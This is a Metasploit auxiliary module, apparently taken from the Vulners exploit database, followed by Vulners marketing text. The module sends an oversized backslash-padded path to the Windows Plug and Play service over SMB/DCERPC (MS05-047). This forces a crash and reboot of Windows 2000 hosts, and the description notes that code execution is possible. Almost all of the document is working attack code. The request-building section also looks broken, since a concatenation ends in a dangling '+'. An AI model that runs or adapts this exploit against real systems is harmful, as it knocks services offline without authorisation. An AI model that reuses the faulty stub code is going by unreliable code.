`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Plug and Play Service Registry Overflow',
'Description' => %q{
This module triggers a stack buffer overflow in the Windows Plug
and Play service. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP
service runs inside the service.exe process, this module
will result in a forced reboot on Windows 2000. Obtaining
code execution is possible if user-controlled memory can
be placed at 0x00000030, 0x0030005C, or 0x005C005C.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-2120' ],
[ 'MSB', 'MS05-047' ],
[ 'BID', '15065' ],
[ 'OSVDB', '18830' ]
]
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
])
end
=begin
/* Function 0x0a at 0x767a54a8 */
long function_0a (
[in] [unique] [string] wchar_t * arg_00,
[out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,
[in,out] long * arg_02,
[in] long arg_03
);
=end
def run
# Determine which pipe to use
pipe = datastore['SMBPIPE']
print_status("Connecting to the SMB service...")
connect()
smb_login()
# Results of testing on Windows 2000 SP0
# 324 / 325 exception handled
# 326 write to 0
# 327 jump to 00000030
# 328 jump to 0030005C
# 329 jump to 005C005C
# Completely smash the process stack
i = 1024
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
path = "HTREE\\ROOT" + ("\\" * i)
# 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.wstring(path) +
NDR.long(4) +
NDR.long(1) +
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x0a, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue ::Errno::ECONNRESET
print_good('Connection reset by peer (possible success)')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
end
disconnect
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation